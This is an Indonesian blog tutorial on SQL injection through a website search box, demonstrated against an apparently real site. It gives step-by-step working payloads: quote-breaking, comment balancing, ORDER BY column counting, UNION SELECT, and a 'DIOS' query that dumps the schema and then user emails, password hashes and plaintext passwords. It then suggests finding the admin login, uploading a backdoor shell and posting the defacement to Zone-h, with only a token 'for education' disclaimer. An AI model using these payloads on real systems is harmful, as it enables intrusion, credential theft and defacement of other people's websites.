Skip to content Skip to sidebar Skip to footer

Widget HTML #1

Tutorial SQL Injection di Form Search Pada Website


Halo, Apa kabar?

Oke, melalui artikel kali ini saya ingin sharing tentang tutorial SQL Injection di Form Search Pada Website, bagi yang belum pernah tahu kedengaranya sangat unik ya? Hehe.

Image: SQL Injection Form Search Bar

Mungkin disini teman-teman sudah tahu apa itu SQL Injection? Jika sudah tahu bagus deh. Nah, bagi yang belum tahu mari kita simak penjelasannya berikut ini.

Apa itu SQL Injection?


SQL Injection adalah sebuah teknik yang menyalahgunakan celah keamanan yang ada pada lapisan basis data sebuah aplikasi. Celah ini terjadi ketika input dari pengguna tidak disaring dengan secara benar, misal contohnya seperti pada kotak pencarian yang seharusnya hanya diisi dengan huruf tapi malah diisi dengan karakter lain, seperti tanda (-=') sehingga penyerang dapat menggunakan celah tersebut dengan memasukan query SQL Injection tersebut.

Jadi dampaknya, kurang lebih penyerang bisa mendapatkan data-data penting, ya contohnya seperti username/password dari website tersebut dan lain sebagainya.

Yasudah, sekarang kita lanjut ke tutorial selanjutnya aja daripada ini itu hehe, yuk mari kita simak.

Step 1: Mencari Vulnerability SQL Injection Pada Form Search


Kamu bisa menggunakan dork untuk mencari websitenya. Contoh target saya adalah:

http://bukanygasli.com/search.php?cari=

Image: SQL Injection Vulnerability Search Fields

Kemudian saya iseng mencoba menginput test' dibagian form search atau kotak pencarian, dan apa yang terjadi? Setelah saya tekan enter pada website tersebut muncul sebuah error sql injection syntax.

SQL Injection Error Syntax

Disini saya ingin mencoba mengembalikan website ke semula, dengan melakukan comment atau balancing pada payload kita.
Saya mencoba comment dengan double dash -- tapi masih error, lalu saya coba lagi dengan balancing --+ dan website normal kembali artinya sudah ketemu hehe.

Perlu Kamu Ketahui:
Comment/Balancing disini tidak bisa dilakukan sembarangan lo ya, jika ditutorial ini menggunakan balancing --+ belum tentu diwebsite yang kamu coba exploitasi juga harus sama balancingnya, intinya sih tidak semua harus menggunakan balancing ini --+ ya, bisa dengan menggunakan yang lain.
Nah, berikut daftar balancing yang sering digunakan:

Daftar Balancing/Comment SQL Injection

Step 2: Menentukan Jumlah Columns


Setelah ketemu balancingnya, selanjutnya menentukan berapa jumlah kolom dari table yang ada dalam database tersebut. Caranya dengan menggunakan perintah order by dan menemukan diangka berapa terdapat error.

url/search.php?cari=test' order by 1--+ Normal
url/search.php?cari=test' order by 5--+ Normal
url/search.php?cari=test' order by 11--+ Error

SQL Injection Order By

Pada target saya, error muncul pada angka ke 11 berarti jumlah kolom hanya ada 10.

Step 3: Mencari Magic Number


Langkah selanjutnya mencari magic number atau biasanya disebut juga "angka ajaib" dengan menggunakan perintah union select, berikut payloadnya.

url/search.php?cari=test' union select 1,2,3,4,5,6,7,8,9,10--+

Kamu bisa sesuaikan sendiri dengan jumlah table yang kamu temukan ya, dan ingat selalu tambahkan tanda - dibelakang = jadi lengkapnya seperti ini.

url/search.php?cari=-test' union select 1,2,3,4,5,6,7,8,9,10--+

Setelah saya jalankan, disini output yang muncul adalah angka 1,4,7.

SQL Injection Magic Number

Berarti itu artinya kita bisa menggunakan dari salah satu angka yang muncul tersebut untuk lanjut ke langkah berikutnya hehe.

Step 4: Langsung Pakai DIOS


Btw DIOS itu artinya Dump In One Shot sehingga tujuanya adalah untuk memunculkan semua table dan columns dari database website tersebut hanya menggunakan 1 query.

Sebenarnya untuk hal ini bisa dengan manual atau kalo yang tidak mau ribet ya mungkin bisa pake DIOS aja hehe.

Disini saya menggunakan DIOS by Zen:
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Jadi untuk menempatkan DIOS tersebut saya pilih pada angka 4 maka urlnya akan seperti berikut.

url/search.php?cari=-test' union select 1,2,3,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),5,6,7,8,9,10--+

Lalu jalankan, disini outputnya akan seperti pada gambar berikut.

SQL Injection with DIOS (Dump In One Shot)

Step 5: Mencari Username/Password


Jika sudah berhasil melakukan injeksi dengan DIOS langkah selanjutnya yaitu kita bisa mencari data-data penting seperti username,password,email dan lain sebagainya (tergantung tujuan kamu sih ini).

Nah, bagaimana caranya? Contoh misalnya saya ingin mencari username dan password dari website target saya. Maka yang saya lakukan adalah mencari table dan columns yang sekiranya berhubungan dengan username dan password admin. Biasanya table dan columns tersebut ada dibagian paling bawah (terkadang berbeda juga) tinggal scroll kebawah aja sampai ketemu.

Dump Username or Password - SQL Injection


Sudah ketemu, disini name columnnya users dan tablenya adalah id_users,id_session,email,password,password_asli dan lain sebagainya. Sesuai tujuan saya untuk mencari user/pass berarti yang kita masukan ke DIOS nya adalah email,password,password_asli.

Jadi jika digabungkan akan seperti ini DIOS nya.

url/search.php?cari=-test' union select 1,2,3,make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3c6c693e,email,password,password_asli)),@),5,6,7,8,9,10--+

Habis itu tinggal diklik enter, maka hasil outpunya seperti ini.

email: namaemail.com
password (MD5): e2ae099c177f89eadf359e51a2ab4e9de745adc2
password_asli: tbpassword

Hasil Dump Username dan Password SQL Injection

Yup akhirnya selesai juga, habis itu ya tinggal mencari admin login (kalo nemu) kemudian upload shell backdoor (kalo bisa) terus mirrorkan ke Zone-h hehe. Tapi saya sarankan jangan di deface/hack laporkan aja ke admin website tersebut siapa tahu dapat reward, jika tidak ada tanggapan ya terserah kamu deh wkwkk.

Oiyaa sebelum pamitan, disini saya hanya memberikan apa yang memang saya pelajari tentang SQL Injection Form Search. Kalau ada penjelasan ini kurang dimengerti mohon dimaklumi ya dan kalau penjelasan saya ada yang salah juga mohon untuk diluruskan hehe.

Demikian artikel sederhana dari saya kali ini, ingat ya tujuanya hanya untuk sekedar edukasi, semoga bermanfaat bagi kalian semua.

Sekian dan maturnuwun, enjoy!

1 comment for "Tutorial SQL Injection di Form Search Pada Website"